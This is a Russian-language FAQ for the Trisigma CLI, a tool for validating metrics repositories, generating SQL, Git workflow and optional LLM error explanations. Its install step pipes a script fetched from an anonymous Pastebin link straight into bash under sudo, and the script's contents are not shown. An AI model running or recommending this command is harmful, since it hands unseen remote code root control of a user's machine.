Перейти к содержанию

Часто задаваемые вопросы (FAQ)#

Ответы на часто задаваемые вопросы о Trisigma CLI.


Общие вопросы#

Что такое Trisigma CLI?#

Trisigma CLI — это инструмент командной строки для работы с репозиторием метрик в Trisigma. Он позволяет локально валидировать изменения, генерировать SQL, работать с Git и многое другое без необходимости создавать PR для каждой проверки.


Зачем мне нужен этот CLI?#

Без CLI:

  • Создаешь PR → ждешь CI/CD → видишь ошибку → правишь → повторяешь
  • Нужно понимать как работает компилятор метрик
  • Сложно быстро проверить SQL для конкретного источника

С CLI:

  • Валидируешь локально за секунды
  • Видишь сгенерированный SQL сразу
  • Получаешь AI-объяснения ошибок на русском
  • Автоматическая перекомпиляция при изменениях (watch режим)

Нужно ли мне знать Python чтобы использовать CLI?#

Нет! CLI работает как обычная консольная программа. Установка выполняется автоматическим скриптом.


Могу ли я использовать CLI в CI/CD?#

Да! CLI отлично подходит для автоматизации в CI/CD пайплайнах.

Подробнее см. Практические сценарии.


Какие операционные системы поддерживаются?#

  • ✅ macOS (10.14+)
  • ✅ Linux (Ubuntu 18.04+, Debian 10+, и другие современные дистрибутивы)
  • ⚠️ Windows (через WSL2)

Установка и настройка#

Как установить CLI?#

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Подробнее см. Установка.


Как обновить CLI?#

trisigma self-update

Где хранится конфигурация CLI?#

В директории ~/.trisigma/:

~/.trisigma/
├── config.json       # Основная конфигурация
└── cache/            # Кеш результатов валидации

Для сброса конфигурации:

trisigma config --clear

Безопасно ли хранить токен в конфигурации?#

Да. Токен хранится в ~/.trisigma/config.json с правами доступа 0600 (только твой пользователь может читать). Директория ~/.trisigma имеет права 0700.


Как переавторизоваться в Trisigma?#

trisigma login

CLI откроет браузер для повторной авторизации через OAuth.


Работа с CLI#

Как выбрать между интерактивным и командным режимом?#

Интерактивный режим (trisigma):

  • Исследование репозитория
  • Визуальный интерфейс
  • AI-объяснения прямо в интерфейсе
  • Git workflow с диалогами

Командный режим (trisigma sl <команда>):

  • Автоматизация и скрипты
  • CI/CD пайплайны
  • Сохранение результатов в файлы
  • Быстрое выполнение конкретной задачи

Подробнее см. Работа с Trisigma CLI.


Как валидировать репозиторий?#

trisigma sl validate

С AI-объяснением ошибок:

trisigma sl validate --ai-explain

Как сгенерировать SQL для источника?#

trisigma sl compile --source events

С параметрами:

trisigma sl compile --source events \
  --dimensions vertical,logical_category \
  --first-date 2025-01-01 \
  --last-date 2025-01-31 \
  --granularity day

Как сохранить сгенерированный SQL в файл?#

trisigma sl compile --source events --output events.sql

Что такое режим watch и как его использовать?#

Режим watch автоматически перекомпилирует SQL при изменении файлов:

trisigma sl compile --source events --watch

Очень удобно для отладки: редактируешь файл в редакторе → сохраняешь → CLI автоматически показывает результат!

Подробнее см. Командный режим.


Как работать с Git через CLI?#

# Создать ветку для задачи
trisigma sl task AB-1234 "Описание задачи"

# Сохранить изменения
trisigma sl save -m "Описание изменений"

# Опубликовать ветку
trisigma sl publish

Подробнее см. Git Workflow.


AI-объяснения#

Что такое AI-объяснения?#

AI-объяснения — это функция которая отправляет ошибки валидации в LLM и получает подробное объяснение на русском языке с рекомендациями по исправлению.


Как использовать AI-объяснения?#

В командном режиме:

trisigma sl validate --ai-explain

В интерактивном режиме:

  1. Запусти валидацию
  2. Если есть ошибки — нажми A
  3. Получи AI-анализ в модальном окне

Обязательно ли настраивать LLM?#

Нет, LLM настройка полностью опциональна. CLI работает и без LLM, просто AI-объяснения будут недоступны.


Как настроить LLM?#

Интерактивный режим:

trisigma
# Выбери "Settings" → настрой LLM Provider URL и Token

Командный режим:

trisigma init
# При настройке укажи LLM Provider URL и Token

Какие данные CLI отправляет в LLM?#

CLI отправляет только:

  • Ошибки валидации
  • Содержимое файлов репозитория метрик (YAML, SQL) для контекста

CLI НЕ отправляет:

  • Личные данные
  • Историю команд
  • Содержимое других файлов на твоем компьютере

Валидация и компиляция#

Что проверяет валидация?#

Валидация проверяет:

  • Структуру репозитория (наличие обязательных директорий и файлов)
  • Синтаксис YAML и SQL файлов
  • Корректность ссылок между источниками, дименшенами и метриками
  • Соответствие правилам именования
  • Полноту обязательных полей

Почему валидация выполняется долго?#

Валидация отправляет содержимое репозитория в Trisigma API для проверки. Скорость зависит от:

  • Размера репозитория
  • Скорости сетевого соединения
  • Нагрузки на API

CLI кеширует результаты валидации для ускорения повторных проверок.


Как работает компиляция SQL?#

CLI:

  1. Собирает содержимое файлов репозитория (sources.yaml, dimensions.yaml, SQL-файлы)
  2. Отправляет в Trisigma API с параметрами запроса
  3. API генерирует SQL на основе метаданных и шаблонов
  4. CLI получает и форматирует результат

Можно ли скомпилировать несколько метрик сразу?#

Да:

trisigma sl compile --metrics revenue,sessions,conversion_rate

Автоматизация#

Как использовать CLI в скриптах?#

CLI возвращает код выхода:

  • 0 — успех
  • 1 — ошибка

Пример:

#!/bin/bash

if trisigma sl validate; then
  echo "✓ Валидация прошла"
  trisigma sl save -m "Auto commit"
else
  echo "✗ Валидация не прошла"
  exit 1
fi

Как сохранить результаты в файл?#

# Сохранить вывод валидации
trisigma sl validate > validation.txt 2>&1

# Сохранить SQL
trisigma sl compile --source events --output events.sql

# Сохранить список источников
trisigma sl list-sources > sources.txt

Производительность#

Как часто CLI проверяет обновления?#

CLI проверяет обновления раз в 24 часа при запуске команд (кроме init, login, self-update). Проверка выполняется в фоне и не замедляет работу.


Можно ли отключить проверку обновлений?#

В текущей версии нет настройки для отключения. Проверка выполняется быстро и не мешает работе.


Почему интерактивный режим потребляет много памяти?#

TUI держит в памяти:

  • Содержимое репозитория (sources, dimensions, metrics)
  • Кеш результатов валидации
  • Мониторинг изменений файлов

Для больших репозиториев используй командный режим.


Интеграция с другими инструментами#

Как использовать CLI вместе с конфигуратором?#

CLI и конфигуратор могут работать параллельно:

  • CLI — для локальной валидации и генерации SQL
  • Конфигуратор — для визуального редактирования метрик

Установочный скрипт автоматически изолирует зависимости CLI от окружения конфигуратора.


Можно ли использовать CLI с разными репозиториями?#

Да! Для каждого репозитория:

cd ~/projects/repo1
trisigma init  # настроить для repo1

cd ~/projects/repo2
trisigma init  # настроить для repo2

Пример для ab-metrics:

Если репозиторий еще не склонирован:

# Клонируй репозиторий
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics

# Перейди в репозиторий и настрой CLI
cd ~/projects/ab-metrics
trisigma init

Или создай алиасы:

alias ts-repo1='cd ~/projects/repo1 && trisigma'
alias ts-repo2='cd ~/projects/repo2 && trisigma'

Как интегрировать CLI в VS Code?#

Добавь задачи в .vscode/tasks.json:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "Validate Metrics",
      "type": "shell",
      "command": "trisigma sl validate",
      "problemMatcher": []
    },
    {
      "label": "Compile SQL",
      "type": "shell",
      "command": "trisigma sl compile --source ${input:sourceName}",
      "problemMatcher": []
    }
  ],
  "inputs": [
    {
      "id": "sourceName",
      "type": "promptString",
      "description": "Source name"
    }
  ]
}

Теперь можно запускать валидацию через меню Terminal → Run Task.


Безопасность#

Какие данные CLI отправляет на сервер?#

CLI отправляет:

  • Содержимое файлов репозитория метрик (YAML, SQL) для валидации
  • Параметры запросов для генерации SQL
  • Ошибки валидации для AI-объяснения (опционально)

CLI НЕ отправляет:

  • Личные данные
  • Историю команд
  • Содержимое других файлов на твоем компьютере

Как работает авторизация?#

CLI использует OAuth 2.0 localhost callback flow:

  1. CLI открывает браузер со страницей авторизации Trisigma
  2. После входа в систему, Trisigma генерирует JWT токен
  3. Trisigma перенаправляет браузер обратно на localhost с токеном
  4. CLI получает токен и сохраняет его в конфигурацию

Токен имеет срок действия 365 дней.


Что делать если токен утек?#

  1. Немедленно обнови токен:

    trisigma login
    

  2. Старый токен автоматически станет невалидным

  3. Обратись в безопасность если подозреваешь компрометацию


Обратная связь#

Как сообщить об ошибке?#

  1. Соберите информацию:
  2. Версия CLI (trisigma --version)
  3. Команда которая вызвала ошибку
  4. Полный текст ошибки
  5. Логи (если доступны)

  6. Обратись в поддержку:

  7. Trisigma Support Channel
  8. Trisigma Team Channel

Как предложить новую функцию?#

Напиши в:

  • Trisigma Support Channel
  • Trisigma Team Channel

Опиши:

  • Какую задачу ты хочешь решить
  • Как ты это делаешь сейчас
  • Как новая функция упростит работу

Где найти документацию?#

Вся документация находится в директории docs/ репозитория CLI или по адресу:


🏠 Вернуться к главной странице